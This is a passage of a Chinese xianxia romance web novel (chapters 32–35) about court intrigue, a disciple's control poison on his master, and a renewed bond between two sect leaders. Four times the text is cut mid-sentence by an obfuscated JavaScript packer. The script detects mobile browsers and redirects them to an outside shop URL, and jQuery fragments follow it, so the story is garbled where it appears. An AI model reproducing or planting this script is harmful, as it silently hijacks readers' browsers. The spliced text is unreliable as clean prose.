他能够感受到某种东西就在刚才与他失去了联系,但任凭他拼命感受,却察觉不出半点端倪。 层层床幔后,有女人的声音自背后响起:“绪郎,怎么了?” 绪冥皱起眉,缓缓放平呼吸:“无事,现在是什么时辰?” “子时。” 眼看绪冥想也不想便要起身离去,女人笑声:“春宵正暖,绪郎为何急匆匆就要走啊。” 酥手拂过绪冥的前胸,女人起身,伏在男人肩头,嫣然笑了起来。她声音好听,说起话来仿佛带着无尽缠绵之意,但她说的内容却冰冷无情:“子蛊死了,计划失败了,你手中的母蛊也没了用途。” “这种专情蛊难得,但我可以让我父兄再送来一个,你什么时候会再动手?” 绪冥摇了摇头:“不。” 女人动作微顿,绪冥却没有察觉,依旧自顾自地诉说着:“师尊和纯钧秘密离开了风波宫,多日未归,不知在做些什么。” 绪冥垂下眼眸,看着有些落寞:“她以前从不会背着我做这些事情。师尊在怀疑我,可我明明才是她的弟子。” 防备你不是应当的吗?你给人家下蛊,别人防备你你倒还委屈上了。 但绪冥这也不是第一次这样发疯了,女人百无聊赖地绞着头发,随口安慰了几句:“她从前从不让你插手风雪涧的事,如今却肯让你负责举办登云路,难道还不是在看重你?” 绪冥眼眶微红:“真的吗?” “真的真的。”女人敷衍道,“所以你什么时候才能动手干掉贺玄青。” 绪冥的脸色骤然冷了下来,他站起身,冷冷凝视着床榻上的女人:“我不会对我的师尊动手,我不会伤害她。” “你嘴上说着不想害她,可明明将贺玄青形迹暴露给朝堂的也是你。”女人半点没有被他的眼神吓住,笑得妩媚,“你可真有趣啊。” “师尊想追寻公平。但光明磊落者必下地狱,有死无生;卑劣之人却能稳居庙堂,享尽荣华。”绪冥平静道,“这才是这个世道的规则,师尊逆规则而行之,不会有好下场。” “风波宫宫主早晚会死,可我只想让我的师尊活下去。” 女人只觉得荒唐:“于是你把她做成了傀儡?” “不是下蛊,是保护。”绪冥皱眉强调,“若非无计可施,我又怎可能伤害师尊。师尊固执,且早就断绝了情爱。我无法说服她,就只能这样保护她。” 什么东西? 女人没有听说过这种说法,大为震撼。 绪冥松了一口气:“好在师尊如今失了修为,不必再用这样损身的法子……师尊终究是个女人,只要不修行无情道,她总是能体会到情爱的好处的,只要……” 绪冥哂笑道:“朝堂那些蠢货既想要师尊为他效力,又害怕师尊有不臣之心,在师尊有修为的时候处处限制,处处算计;等师尊失了修为后他们却先乱了章法,急着挑选着功法想要让师尊重回巅峰威慑众人。 “他们害怕功法太过强大往后无法控制师尊,所以日日翻找,企图找个可控的功法让师尊修行。但这种类型的功夫势必不强大,又起不到威慑的作用。鼠目寸光,简直可笑……” “他们都想算计师尊,只有我会为师尊着想。”绪冥认真道,“她无需像之前那般那样努力修行,她也不必再日日经受那些朝堂上的勾心斗角,算计磋磨,我会保护她。” 女人终于听懂了。 不就是看重了风波宫在天衍的地位,想要取贺玄青而代之,这个男人是真的很喜欢将自己的勃勃野心装点成深情。 女人打了打哈欠,只觉得乏味至极。 不过男人有野心不是缺点,比起现在的绪冥,南疆也的确更需要一个在天衍有权有势的驸马。 女人是南疆的公主,也就是天衍人口中的蛮人,天衍和南疆敌对,天衍人有多希望贺玄青活,他们南疆人就有多希望贺玄青死。 知道贺玄青会倒霉,她就放心了。 但有一件事女人很不放心:“听说这次风雪涧,摘星阁也插手了?” 眼看绪冥没有否认,女人皱眉提醒道:“听说摘星阁的那位阁主也是个能力强的,你就不担忧他们二人联合,坏了你的好事?” 提起谢止,绪冥本能地先皱了皱眉,有些生理不适:“他与我师尊是死敌。” “利益面前,谁说得准呢。”女人暧昧一笑,暗示性极强地点了点绪冥的小腹,“就比如你是天衍重臣,而我却是南疆公主,谁又能想到我们居然在怎么个不起眼的地方,厮混在了一起。” 绪冥皱眉,捏住了她企图作乱的手,正色道:“谢止就是个阴险小人。师尊绝不会与之为伍。” 女人有些怀疑:“可我听闻摘星阁阁主为人公正谦和,且很为百姓着想。仙盟那些修者认为仙凡有别,素来看不起平民百姓,但谢止身为摘星阁阁主,却力排众议接手了操办登云路的事宜,还为此得罪了不少仙盟老牌修者。照理来说,他们两人应当很有共同话题。” 女人只是随口一说,绪冥却激动起来:“放屁!此人心胸狭隘,锱铢必较,只是个沽名钓誉之辈,实在是名不副实!” 绪冥在外表现向来谦和,讲究礼仪,还从未有过这样直白骂人的时候。 女人眨了眨眼睛,不清楚绪冥激动的原因:“不应该啊……听说他还是个谋士,谋士不是最讨厌沾染凡尘因果,他要名誉做什么?” “总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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入目所见皆为一片漆黑,星光璀璨,星河流淌,太阳仿佛永远不会升起。 贺玄青重重咬在了他的脖颈,犬齿狠狠摩擦着,这一次,她咬出了血痕。 谢止的动作终于停了。 “巫血不可多食。”谢止皱着眉,低声道。 她知道! 她又不是为了吃他的血才…… 可谢止似乎误会了她的意图,他低下头,轻吻住她的唇,细心搜刮走了她口中的甜腻气息。 偷鸡不成反蚀把米,事到如今就连呼吸都要被谢止掠夺去了,贺玄青悲愤地企图咬他的舌尖,却又被这厮避了过去。混乱之中,贺玄青感受到眼前亮起一道白光。 她哭着绷紧身体,任由自己沉入了黑甜的梦境之中。 她想,她是被气昏过去的。 32. 第 32 章 浮雪成灾,哪怕有郡守瞒报,但驻守的三司未必就不知情,三司都府害怕担责,压着消息不肯上报。 到了最后,实在压不下去,等到贺玄青最终知晓之时,照月城已成了座空坟。 这么多年来风雪涧全靠着贺玄青一人镇着,天衍和平太久,他们根本不知晓浮雪祸的可怕之处。 极偶尔的时候,贺玄青会觉得是自己错了。 她想让灾祸止于风雪涧,天衍却因她的选择而变得更糟。 若书浮动在她身侧,书页翻动着,此时,它童真的语调居然透着几分残忍:【因为这个世界只是一本书,主角需要获得金手指,所以那些将士注定会死去。】 【你不是最清楚吗?我可怜的、被扎透了还得放声歌唱的荆棘鸟。】 贺玄青被若书的诡异语调激出了一身鸡皮疙瘩,她揉了揉眉心。 贺玄青脖颈的银色项链在薄薄的日光下闪着微光,青色宝石自前胸一闪而过,又藏进了她层层叠叠的衣摆之中。倘若有人能看见贺玄青藏在衣摆下的肌肤,定会被她身上那些深浅不一的斑驳痕迹吓到。但贺大宫主衣衫周正严密,坐姿端庄,无人知晓其下发生了什么。 【对了。】若书忽得想起什么,【我好像感受到你与小蛇的关系变得紧密了,看来你有好好考虑我的提议,这次去照月城是做了什么吗?】 是做了。 贺玄青有些心虚地移开目光:“不清楚。” 她嘴上说没有,但看她的反应,这明明就是有什么。若书抓耳挠腮打算问个清楚,奈何贺玄青已经开始了一天的章程。 贺玄青有一点没说错,她的时间的确很宝贵。 接见外使,批阅奏章……从如何安置南疆来使,到如何选拔去登云路的人才,了解仙盟内部纷争以及任免自家官员,从早到晚贺玄青愣是没给它半点询问的机会。 无论大事小事,事事上心,事事都亲历亲为,这便是风波宫主贺玄青。 等到天更漏将至,若书终于有了插话的时机,但它看着眉目间带着倦意的贺玄青,有些问不出口。 【要不然,你先……休息?】 贺玄青揉了揉眉心。 往日这种章程对贺玄青而言根本算不上什么,贺玄青自继任风波宫的这些年来基本都是这样行事。 但如今贺玄青没有修为,身体上的劣势便体现出来。贺玄青接受了若书的提议,她谋算着明日的日程,将外袍拢在胸前,打算倚着椅子见缝插针眯几个时辰。 窗外,忽得传来宫人的声音:“报,林公公求见。” 这下不用休息了。 …… 京城,大雨瓢泼。 林公公是来请她入宫的。 贺玄青来得太晚,等到她赶到宫门前的时候,已到了皇宫落锁的时辰。 不过贺玄青奉旨意入宫,自然是不会有人拦的。 隆隆雨幕之下,林公公一手提灯,佝偻着腰背替贺玄青撑伞,走入皇宫内一处幽僻竹林之中。 卜一走进竹林,一道声音穿过雨幕,直直传入二人的耳朵。 “废物!废物!全都是废物!”怒斥声随着贺玄青的靠近变得清晰,紧接着便是哗啦啦的声音响起。 竹林小屋内,有人正在发着脾气。 听着屋里不断传来的声响,贺玄青微微皱眉,打算推开房门,御书房的门却先一步打开,一个小太监猝不及防撞进了她的怀中。 贺玄青纹丝不动,那小太监却被撞倒在地上,沾染了一身泥浆。剧烈动作掀起了他衣角,露出里头横七竖八的伤口。 贺玄青皱了皱眉,伸手将他拉了起来。 “谢谢……”目光交汇了刹那,贺玄青的容颜清清楚楚印照在他眼前,小太监慌慌张张垂下头,跑远了。 林公公撑着伞站在阴影里,佝偻着腰背,什么话都没有说。 贺玄青看着林公公,还想问什么,却听屋里人似有所觉,忽道:“何人在外面?” 砚台伴随着言语,重重砸在她的脚边,贺玄青站在原处,没有理会。 门被一把拉开,有一少年自屋中探出头来,他看着年纪不大,五官精致,眉眼却聚着一抹戾色。 他袖口绣着的龙纹象征了此人的身份,乃天衍国当朝天子,明初帝。 “阿姊!”愤怒的尾音在看见眼前人的霎那变成了欢喜,贺玄青被人一把环住了腰,来人趴在她胸前,高兴道,“阿姊,你终于来了,朕等你好久了!” 贺玄青神色微敛,后退与这男子拉开了距离:“陛下,不要叫我阿姊。” “没关系。”明初帝毫不在意地瞟了眼远处眼观鼻观心的林公公,满不在乎,“在场都是宫中老人,嘴严,不会说出去的。” 他挥了挥手,吩咐宫人:“去备红豆汤来。” 明初帝似是极依恋贺玄青,他牵着她的手走入书房中,一面哭哭啼啼小声抱怨着:“阿姊,你久不来陪我,我在这宫里处处不顺意,就连个太监也敢直接给我脸色看。” 刚才的场景明显不是这回事,但贺玄青垂着眼,只是道:“帝王掌生杀予夺,你既看不惯,杀了便是。” 明初帝破涕为笑:“也对。” 他的心情显然在见到贺玄青之后便好了很多,明初帝不顾君臣体统将她一路拉到了屋中唯一那把龙椅上,同自己坐在一起:“阿姊,你失了修为,可我还来不及看看你过得如何。” “陛下政务繁忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101500|134620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,微臣也有许多俗务缠身,这不过是小事。”贺玄青皱眉,“我很好。” 热腾腾的红豆米酒被盛在细瓷碗中,由宫女端着,送到了二人面前。明初帝捧起一碗到贺玄青身前,被烫得呼呼吹起手心。 他自觉有些滑稽,笑了起来:“朕小时候怕雷声,那时候阿姊无论多忙都会抽出时间陪我喝一碗红豆汤,就像今天这样。” 他捧起另外一碗红豆米酒,放到自己面前,小口小口吹凉了才送入口中,全然像是个趴在街边摊位上贪嘴的少年,完全看不出这是位帝王。 “小时候我老盼望着阿姊能来宫中,那时候宫里这些奴才就会欺负朕,给朕吃发搜的饭菜。只有阿姊来的时候,我才能吃饱……只有阿姊不会欺负我,只有阿姊才会挂念我。” 年轻的帝王柔声软语,认认真真细数着彼此的回忆,单看表情看不出丝毫作伪,就像是个全心依赖姐姐的好弟弟。 贺玄青垂着眼眸,只是道:“微臣还有公务在身,不便饮酒。” 明初帝抿了抿唇:“无碍。” 沉沉敲门声响起,林公公推门而入,他的手中捧着一本古籍,将之放在了贺玄青的面前。 “这是什么?”贺玄青问。 明初帝低声道:“阿姊失了修为,朕翻了翻库房,替阿姊找了一本。” 林公公端起古籍,送到贺玄青的面前,看意思是要让贺玄青接住。 拖延那么久,他终于说了自己的目的。 明初帝处心积虑说了那么多事,居然只是为了把这功法送到自己面前。 贺玄青不置可否,她甚至没有看林公公,而是看向了明初帝:“陛下想让我练这个?” 明初帝一直在观察着贺玄青的表情,此时慌忙解释道:“我是看阿姊修炼无情道失败……才,况且阿姐修行那种法术有什么好?往后都不太像是人了。” 察觉到贺玄青越发冷淡的视线,明初帝绞紧了自己的衣摆,嗫嚅道:“我,我在修行上没有天分。能帮助阿姊的也只有这么多了。” 他们姐弟二人相对而坐,明明相隔不远,却犹如隔了天堑。 “陛下不必妄自菲薄。”贺玄青叹了一口气,“您是天子,无需像那些人一样执着于修行,自有人会保护您。” “保护?”明初帝摇了摇头,“这个皇宫所有人都好坏,都是无法相信的,阿姊与我相依为命,只有我们才是一处的。” 贺玄青拿起那册书卷,起身冲着明初帝行礼:“多谢陛下恩典,微臣告退。” “阿姊。”明初帝急切问,“下回雨夜,你还会来陪我吗?” 飒飒骤风雨,隆隆隐雷霆。贺玄青捏着手中那本功法,悄然消失在了雨幕之中。 33. 第 33 章 谢止会出现在这里,贺玄青毫不意外。 谢止似乎就是有这种本领,会神奇地出现在她人生的各个角落,目睹她狼狈的样子。 她安静地跟随他上了马车,而后摊开手中书册,细细研读了起来。 “是本好书。” 贺玄青道。 她先前走的路子爆裂刚直,这本剑法也延习了这一点,其中有些许剑招还能让贺玄青看出从前的影子,能找到如此相似的剑谱,看来明初帝的确费了心思。 谢止不发一言,他只是静静坐在她身旁,替她烤干了被雨水浸透的衣衫。 贺玄青察觉到他似乎在一直悄悄观察着自己,担忧警惕的目光让贺玄青感到浑身都很不自在。 谢止似乎认为她会哭。 他怎么想的。 贺玄青眨着眼睛,她的眼瞳黑沉沉地,看不见一点泪光。 曾经会有的那些情感,悲哀也好,感伤也罢,早在那么多年研习时光秘术后磨灭,贺玄青垂眸看着面前的书册,低声道:“自我下山后,朝廷那段时间纷争不断,内斗严重,你虽然不在皇城,却也能从外界那些消息窥见一斑。” 自下苍坪山之后,她与谢止分道扬镳,贺玄青极少提及她下山之后的事。如今贺玄青却是主动提起了这一点。 皇帝驾崩,太子失踪,帝位空悬,哪怕有其它适龄皇子可以继承,但他们威势不够。皇位这东西不止皇子们想要,皇帝的其他兄弟也想要,各种党羽盘根错节,自然形成了利益网,排斥着可能登基的先皇血脉。 自仙盟归来的小公主首当其中,成为了首要被牺牲的对象。 “明初帝,也就是贺容的母亲在当时是位皇贵妃,她觉得此事不公,认为一味内斗只会遭致天衍亡国,于是奋力奔走,想要保全我。” 那是个极尽温柔的好人,明明自己有了身孕,却为了她的事日日跪在庭前祈求,几乎跪废了双腿。 “她给我争取到了机会,但我出来的时候已经太晚了,皇贵妃难产而亡,他的孩子被关在掖庭里整整关了十二年。” 也正因为如此,贺玄青对自己的这个弟弟始终多了份愧疚。 贺玄青揉了揉眉心,她靠在马车的软垫里,表情有些疲惫:“我答应过她,要好好善待她的孩子,但……” 贺玄青没有把话说完,重生一事对世人而言实在太过惊世骇俗,她与谢止的联盟才勉强达成,贺玄青不打算让他生疑。 书卷被随手丢在一边,贺玄青皱眉询问道:“过几日登云路就要开了,近日有南疆外使入京,京城不甚太平,金羽卫抓了不少探子,你……” “贺玄青。”谢止打断了她的话,“你上一次睡觉是什么时辰?” 贺玄青自照月城归来后就再也没合过眼,也就偶尔能在公务不那么繁忙的时候挤出空闲,合衣眯上一两个时辰。 风波宫管理着天衍上上下下大小事宜,对于风波宫的宫主而言几日不睡实属家常便饭。 但贺玄青看着谢止的表情,不知为何,总觉得不能说实话。 于是她转换了话题:“我的事情不必在意,登云路……” 谢止的指尖划在她的脸侧,微凉的触感勾起了贺玄青那三日以来的荒唐回忆,贺玄青几乎是本能地瑟缩了一下,有些警惕:“你要做什么?” 谢止的指尖微顿。 他的指尖落在她的额头,轻轻地划了一个符号,那甚至算不上咒符—— 这是天衍民间常用的手势,家中若有孩童受了惊吓,家长便会在他的额前绘制这样的符文,用以祛除邪祟,祈求家中孩童平安健康,安眠无忧。 贺玄青被谢止的动作弄得笑出了声:“幼稚。” 谢止没有纠正她的话,而是替贺玄青掖紧了外袍:“那些事情我会处理好的,睡吧。” …… 或许是轿厢里炭火旺足带来的融融暖意,或许是谢止的气息勾起了她旧日的回忆。 总而言之,贺玄青做了一场梦。 那是幻境没有演绎的场景,她与谢止一起遮掩了彼此共同犯下的罪行,只待雪停之后,便能够逃离这座足以困死人的地方。 但天衍的这场大雪接连下了十四天,这十四天内,天衍朝廷动荡得不成样子——皇帝皇后相继病逝,太子不知所踪,一纸诏书跟着天衍的风雪自京城飞到苍坪山,急召清禾公主归京。 上苍不曾庇佑过她,一次也没有。 她离开苍坪山的那天,整座苍坪山都被皑皑大雪掩埋。她被那时的风波宫宫主亲自接下了山,坐进了属于公主的凤辇之中。 公主仪仗浩浩荡荡,外面的金羽卫执锐披坚,将马车团团包围,清禾公主安静端坐在马车内,一言不发盯着逼仄的轿厢。 马车外传来了一阵嘈杂。 “有蛇!” “大冬天哪儿来的蛇!” “真的有……嘶,咬我!” “该死的!” 马车外的声音逐渐停了,贺玄青有些慌张地望向窗外,金羽卫还在寻找,她没有瞧见屋外多出什么蛇的尸体,于是略微松了口气。 或许是逃出去了,那也很好。 叩叩叩。 一条青蛇也不知如何避过那些金羽卫的层层耳目,爬到了自己的面前,他趴在窗沿上,竖瞳紧紧注视着面前的小姑娘。 这是清禾公主最庄重的时候,她穿着公主厚重的裙装,单薄得脊背挺得笔直,翠绕珠围装点着她漆黑如墨的秀发,层层叠叠妆容遮住了她哭得通红的眼眶。 她顺着声响看见了窗框旁趴着的小蛇,于是她重新将视线垂了下来:“回去吧。” 那条小蛇没有要离开的意思,他张口,吐出了人言:“你说要和我一起离开苍坪山,离开京城。” 她是跑不掉的,她大伯为了让她这位修行过的侄女入京做足了阵仗,不仅让金羽卫包围了公主轿辇,就连靠近摘星阁的各处关卡都加强了守卫,他们二人插翅难飞。 如果逃跑的事情败露,她会被强行送入京城,而谢止绝对会死。 贺玄青以为谢止能在这些加强的金羽卫中看出端倪,至少会在这些金羽卫的阻拦中明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128261|134620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白什么叫做知难而退。 但谢止依旧来了,他没有提自己这样做会承担的风险,只是认真严肃地对贺玄青说:“只要你想,我就能带你走。” 贺玄青骤然绷紧了身躯,有些不自然地道:“我放不下公主奢靡华贵的生活,我不想走了。” 那时候的贺玄青实在是稚嫩极了,自以为遮掩得很好,但她颤抖的指尖,还有不断抽搐着的肩膀早就暴露了她的真实情绪。贺玄青竭力用自己宽大的袖袍盖住握得死紧的拳头,不想让谢止察觉出端倪。 那条小蛇头上下点了点,也不质疑她的决定,就要顺着车窗往马车里爬:“好,那我与你一起进京,你看谁不顺眼,我帮你杀了他。” 他说得无比认真,贺玄青却是默了默。 京城势力交错盘结,没了大伯,还有她的那些姨娘哥哥姐姐弟弟妹妹……京城那么多人,哪里是一条小蛇可以杀得尽的。 “……不。”贺玄青道,“我不打算带上你。” 谢止爬窗的动作微顿。 贺玄青绞尽脑汁,勉强编出了个借口:“你我二人身份天差地别,我是公主,你不过是三袋栗米便能买下的……” 那两个字贺玄青没能说出口:“你贪婪,浅薄,恶毒,身份卑微。我向来讨厌蛇,也一直都很讨厌你。” 这借口错漏百出却胜在足够伤人,但小蛇摇了摇脑袋,似乎不为所动,还想沿着窗口往里面爬。 “公主,出什么事了?” 窗外隐约传来问询,是金羽卫察觉到了马车内的声响。 “无事,不要进来。”贺玄青按住了那条还想往车里爬的小蛇脑袋,眼疾手快将他推了出去。 下一瞬,风波宫宫主已然拉开了轿帘。 他的目光顺着敞开的窗口望去,隐约见到有道绿色的影子被卷进了车沿里。 他皱了皱眉,还想细看,却听到背后传来一道尖锐的声音。 “你是在质疑本宫吗?” 清禾公主威仪万方,漆黑眼瞳正愤愤注视着他,整个人犹如利剑般散着锐利锋芒。 对风波宫宫主而言眼前这个女人不过是个占着皇族血脉的空架子,但他现在的确还需要她活着。 男人终究还是收回了视线,躬身冲着贺玄青行礼:“属下不敢,只是公主万金之躯,还是小心些为妙。” 贺玄青深吸一口气:“滚出去。” 此行注定有去无回,她思来想去也根本找不到半点生机。 那条小蛇就巴掌大,它好不容易自苍坪山的劫难中活下来,就别再想着去皇城送死了。 …… 梦境中的风雪似乎永远不会停歇,贺宫主的本能却催促着她快速清醒过来。 现在什么时辰了,还有政务要处理…… 不对,沉,好重…… 贺玄青动了动指尖,只觉得身体像是灌了铅,沉重异常,压根无法挪动。 好在贺玄青很快便发现了罪魁祸首。 那是一条非常粗壮的蛇,青色的躯干足有大腿粗细,正死死缠绕着她。 34. 第 34 章 沉重感挤压着他的前胸,贺玄青垂眸,对上了青蛇流光溢彩的鳞片。 那条青蛇盘踞在她的身侧,蛇头枕在靠近她心脏的地方,那是个极尽守护的姿势,像是怪物在圈划自己的领地。 贺玄青难以置信地看着谢止如今的尺寸,只觉得童年都有些幻灭。 说好的指头粗的小蛇呢? 记忆力那条拢共不过巴掌大的小蛇骤然变成了庞然巨物,很显然死对头在她不知道的角落长进了不小。 没工夫细究,贺玄青用力掰着他的身躯,企图拯救可怜地被庞大蛇躯压迫着的自己。 那条蛇压根不知道自己有什么错,他慢条斯理地支起半身,还用蛇芯子讨好般舔了舔她的脸庞。 有点像狗。 是狗也不行。 他对自己的斤两能不能有点自知之明?! 贺玄青奋力扑腾着,终于解脱了手臂,她一把揪住了那条蛇的七寸,摇晃起来:“变回去。” 那条青蛇慢悠悠地晃了一下,锐利的蛇眸懒洋洋地,丝毫没有弱点受制于人时应当有的警惕戒备,而是微微下移,将自己的脑袋靠在了贺玄青的脑袋旁。 贴贴—— 这种动作从前谢止常用来哄生气的清禾公主消气,但同样的动作一条小蛇做起来可爱,换成这玩意儿做只能说是鬼东西,贺玄青毫不领情,用力拍打着他的脑袋:“变,回,去!” 那条蛇晃了晃尾巴,看着有些委屈,但他缓慢挪动着,不情不愿地松开了缠绕着贺玄青的蛇躯。 青蛇消失,取而代之一位漂亮的男子端坐于床榻旁,他的眉宇间犹带些许倦意,墨发并未束起,犹如飞流瀑布,垂在脑后。 看上去很乖巧,但他竟然敢将自己掳去…… 不对,这里不是摘星阁。 这里是—— 茗惜殿,风波宫,她的寝殿。 贺玄青想不通谢止哪儿来的胆子出现在这里,她冷笑着把玩着他垂至床榻上的发尾:“堂堂摘星阁阁主竟然敢只身一人来我风波宫,也不怕……” 谢止坐在床边咬着发绳,正艰难克服着贺玄青的阻挠给自己束发,闻言很是平淡地开口:“有什么区别吗?” 好像是没什么区别。 在苍坪山的时候,清禾公主的寝殿就成了谢止的蛇窝。那时候的谢止小小一条,会睡在贺玄青的枕边亦或是胸前。偶尔将贺玄青惹生气了就只能睡地板了,但睡地上也无所谓,清禾公主的寝殿炉火旺足,室内四季温暖如春,足以阻隔外界那些风刀霜剑、萧瑟寒风。 但那怎么能一样呢? 谢止平淡地出现在这里,仿佛那些旧日里的争吵,那些分歧和决裂,都被悄悄越了过去。他们的关系恢复如初。 破镜重圆犹有裂隙,伤痕又怎么可能愈合如新。 但眼下这氛围确实不错,贺玄青躺在床榻上,盯着穹顶上的挂饰,最终还是没有说出那种扫兴的话来。 堆砌在茗惜殿的公文被某条蛇连夜赶工批阅了大半,虽然公文是看不尽的,过不了多久这处就又会被各种杂乱繁多的事务填满。 但如今,贺玄青确实有了些许喘息的时间,贺玄青享受着难得的闲暇光阴,心情极佳:“近日坊间对你血脉的揣测甚嚣尘上,一味封堵是堵不住的。” 贺玄青在说这件事的时候谢止连眼睛都没抬,似乎根本不在乎。这让贺玄青觉得不爽。 “我其实有个主意……” 叩叩敲门声传来,贺玄青的话语被打断,她终于想起来了这个被自己忽视了许久的问题:“你昨夜是怎么进来的?” 谢止:“自然是直接从大门走进去的。” 贺玄青难以置信地瞪着他。 谢止皱着眉,勉强解释了一句:“门前落了锁,夜深人静,无人发觉。” 贺玄青长松一口气,放心下来。 “贺玄青。” “嗯?” 刚才怎么折腾他都没有生气,但这一会儿,谢止的脸色难看得像是活吞了一只苍蝇:“就这么不想被人瞧见?” 瞧见什么?瞧见风波宫宫主与摘星阁阁主共处一室,同塌而眠,这得吓坏多少人。 贺玄青还不想让市坊处处都编纂流传她与谢止的香艳画本。 “当然不能被瞧见了。”贺玄青揉着眉心,“旁的不说,你家那管事年事已高,你是想吓死他吗?” 贺玄青都能想象到那位管事要是听闻了此事该有的反应,估计会面色煞白,捂住胸口,大骂风波宫不干人事糟蹋自家阁主,然后在摘星阁门口再立一个牌子吧。 上次是风波宫与狗不得入,这次会是什么? “你与我清清白白,被人瞧见本没什么。”眼见谢止依旧没有要躲的意思,贺玄青耐着性子劝他, “不过瓜田李下,世人听风就是雨,他们瞧见你送我回风波宫,对外就会传摘星阁与风波宫早有往来沆瀣一气。你本就因为登云路的事和其他宗门有了罅隙,再传出这种事,仙盟不会让你好过……什么?” 谢止不知何时忽然走到了她的面前,与她挨得极近。 “清清白白?”谢止死死盯着她,手指点着她的前胸,“我们做过什么你不知道吗?你的这处有一颗红痣,每当我口口那里的时候,你会很喜欢……” “谢止。”门外还有个正在敲门的人,隔着薄薄门板,贺玄青生怕被外人听见,小声斥责道,“别说了!” “你怕疼又禁不起刺激,在这方面娇气得很,丁点苦痛都吃不得,要耐心哄很久才肯吃更多……” 啪! 谢止被打得偏过头,他终于止住了话头,但视线却从未离开过她,锐利竖瞳微微收缩着,带给人一种诡异的毛骨悚然感:“贺宫主,我们之间可算不上清白。” 叩门声加剧,外头的人似乎失了耐心,正试图推门。 谢止的视线终于舍得移到了门前,他微笑着对贺玄青说:“要我去开门吗?” “滚滚滚。”来不及与这厮计较更多,贺玄青环顾一圈,最后慌忙将谢止推到了屏风后。 …… 急匆匆收拾好自己,贺玄青一把拉开了门栓。 门外只有绪冥一人。 贺玄青微不可察地松了一口气,面上表情却是严肃又吓人,摆出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151865|134620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十足的宫主派头。 绪冥也没预料到真能看见宫主,慌忙解释起来:“师尊,您昨夜进宫,值守的宫人闭锁时未曾瞧见您,我还以为您宿在宫内,不晓得您已经回来了……” 贺玄青斜靠着门框,挡住了屋内的屏风:“有事吗?” 绪冥脸颊微红,说话扭捏:“师、师尊,我这几日私自去武南峰历练了,找寻许久,我、我终于……” 贺玄青瞧见他浑身是伤,内息也不似之前那般清透,而是有些浑浊受损,知晓他说的应当不是假话。但武南峰是异兽泛滥之地,也不是书中那些金手指该在的地方,绪冥跑到那里去做什么。 而且绪冥话说一半,后头的话却不说了,他骤然瞪大眼睛,死死望着她的背后,似乎是有些难以置信:“你、你怎么会在……” 没有规矩,妄图进入自己的居所不说,现在还一惊一乍,没有半点身为风波宫内侍该有的仪态,贺玄青对他已经彻底失了耐性:“没事就赶紧滚回去,你工作做完了吗?” 话音刚落,贺玄青察觉自己的后背被人戳了一下,一道男声自身后响起,优雅雍容宛若陈酿:“让一让。” 好,她明白绪冥在惊讶什么了。 谢止你个混账东西。 贺玄青浑身僵硬,心里恨不得将那条蠢蛇活剐了泡酒。但面上好歹还是维持了淡然平和。 她侧身给谢止让出空位,只在他走过自己身边时硬生生从牙缝里挤出了一行话:“最好别让第四个人看见。” 不然她真的会杀了他。 真的。 谢止也不同她客气,他大摇大摆迈出了门槛,青色瞳眸自绪冥和绪冥背后藏着的书册上一扫而过。 “他怎会在此处?”绪冥急切地看着贺玄青,企图从自家宫主的口中得到答案。 已经发生的事情覆水难收,贺玄青干脆摆烂,她没有丁点要解释现状的意图,只是道:“无故离京,本应受罚,但你既然已经受伤,这一次就不同你计较了,回去吧。” 绪冥有些急切:“不是的,师尊我其实……” “忘了说了,等会儿我会遣人将一筐剑法送来。”也不知是有意还是无意,谢止的声音在此时响起,直接盖过了绪冥。 一筐,剑法。 剑法难得,好的剑法更是凤毛麟角,其中还有的是被各家宗门垄断,不予外传的机密。就连皇室所藏也不过十余数,剑法这种东西什么时候能用筐这种词汇形容了。 谢止眼也不眨,说起这框剑法就像是在说什么很容易得到的东西:“近些年我游历山川,收集了些勉强能看得入眼的,你挑拣着看看,想学哪本学哪本,不喜欢就都扔了。” 就凭摘星阁阁主的眼界,他能瞧上眼的剑谱哪有那么简单。 他说得风轻云淡,但不用想也能明白收集这些东西要废多少功夫,贺玄青不明白:“可你不是个内修吗?” 内修收集武修才要用到的剑法做什么,风波宫对仙盟各宗宗主喜好都有记录在册,但也没听说过谢止有什么收集剑谱的喜好啊? 谢止面上带笑,细看却有些咬牙切齿:“你、管、我。” 35. 第 35 章 也不知谢止使了什么术法,他的身影消失在三步之外。 贺玄青微微松了口气,有了之前谢止的孟浪发言做对比,她竟觉得他的举措还算有些分寸。 